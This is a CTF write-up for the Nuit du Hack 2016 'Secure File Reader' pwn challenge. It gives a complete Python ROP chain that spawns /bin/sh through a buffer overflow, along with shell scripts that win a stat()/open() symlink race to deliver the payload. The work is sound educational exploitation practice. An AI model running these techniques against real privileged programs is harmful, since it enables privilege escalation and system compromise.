Nuit du Hack 2016 Quals Secure File Reader Pwn200 Writeup

Hi,

I'm member of SpectriX CTF team. We were ranked #31 in this CTF because we played only 2 guys.
I hope we will do better next CTF ;)

The binary file takes a filename as argument and checks if the file size is less than 4096 then dumps its content to a buffer otherwise the program prints an error message.

Using GDB let's try to let the program accept a big filesize. To do this I changed the value returned by the check_size function to 1.

(python -c 'print "A"*4200') > /tmp/big
gdb pwn
gdb-peda$ b *0x08048F1A
gdb-peda$ set $eax=1
gdb-peda$ r /tmp/big
gdb-peda$ c


Great we have a segmentation fault. 4128 bytes is enough to overflow the return address.

The stack is not executable.

gdb-peda$ vmmap stack


The system and execve does not exist in the binary so we can't do a big thing with Ret2libc.

readelf -s pwn | grep system


Time for ROP ;)

The binary is statically linked with libc so there is a big probability to hit with a ROP chain to call execv syscall. I used ROPgadget to generate a rop chain. By testing it I got SIGSEGV at 0x00000000 and this because the gadgets contain NULL byte.
xor eax, eax; ret gadgets are located in offssets having NULL bytes. For this reason I had to manually resolve this issue. To go further I replaced xor eax eax; ret gadget with the following 2 gadgets mov eax, 0xffffffff; ret; inc eax; ret this will overflow the EAX register and the value will be 0.

The final ropchain I made was the following:

from struct import pack

# Padding goes here
p = "A"*4124

p += pack('<I', 0x0807270a) # pop edx ; ret
p += pack('<I', 0x080ee060) # @ .data
p += pack('<I', 0x080beb26) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0809dead) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0807270a) # pop edx ; ret
p += pack('<I', 0x080ee064) # @ .data + 4
p += pack('<I', 0x080beb26) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0809dead) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0807270a) # pop edx ; ret
p += pack('<I', 0x080ee068) # @ .data + 8
#p += pack('<I', 0x08054700) # xor eax, eax ; ret  -> Issue here

p += pack('<I', 0x0804fc64)
p += pack('<I', 0x0807f15f)

p += pack('<I', 0x0809dead) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481d1) # pop ebx ; ret
p += pack('<I', 0x080ee060) # @ .data
p += pack('<I', 0x08072731) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080ee068) # @ .data + 8
p += pack('<I', 0x080ee060) # padding without overwrite ebx
p += pack('<I', 0x0807270a) # pop edx ; ret
p += pack('<I', 0x080ee068) # @ .data + 8
#p += pack('<I', 0x08054700) # xor eax, eax ; ret -> Issue here

p += pack('<I', 0x0804fc64)
p += pack('<I', 0x0807f15f)

p += pack('<I', 0x0807f15f) # inc eax ; ret
p += pack('<I', 0x0807f15f) # inc eax ; ret
p += pack('<I', 0x0807f15f) # inc eax ; ret
p += pack('<I', 0x0807f15f) # inc eax ; ret
p += pack('<I', 0x0807f15f) # inc eax ; ret
p += pack('<I', 0x0807f15f) # inc eax ; ret
p += pack('<I', 0x0807f15f) # inc eax ; ret
p += pack('<I', 0x0807f15f) # inc eax ; ret
p += pack('<I', 0x0807f15f) # inc eax ; ret
p += pack('<I', 0x0807f15f) # inc eax ; ret
p += pack('<I', 0x0807f15f) # inc eax ; ret
p += pack('<I', 0x08049501) # int 0x80
p += pack('<I', 0xdeadbeef) # deadbeef



Now how to let the program accept the created payload ? The program uses the stat() function to read the file size. This let me think in Race Condition. The idea is to provide a symlink to a small file at the begining and then after the program executes the stat() fucntion and before executing the open() function I point the symlink to the payload (big file). To do this I used the following 2 scripts:

race1.sh file
#!/bin/sh
for i in `seq 10000`
do
cp /tmp/small /tmp/flag
rm /tmp/flag
ln -s /tmp/payload /tmp/flag
rm /tmp/a
done
race2.sh file
#!/bin/sh
for i in `seq 10000`
do
/home/chall/pwn /tmp/flag
done

Copy all the necessary files to the server using SCP.

Put all stuffs togther
cd /tmp
(sh race1.sh &) && sh race2.sh

And after few seconds you get a shell for you and your family for free :D

#id
# cat /home/chall/flag
rUN!RuN$RUn!Y0U$W1N_TH3_R4c3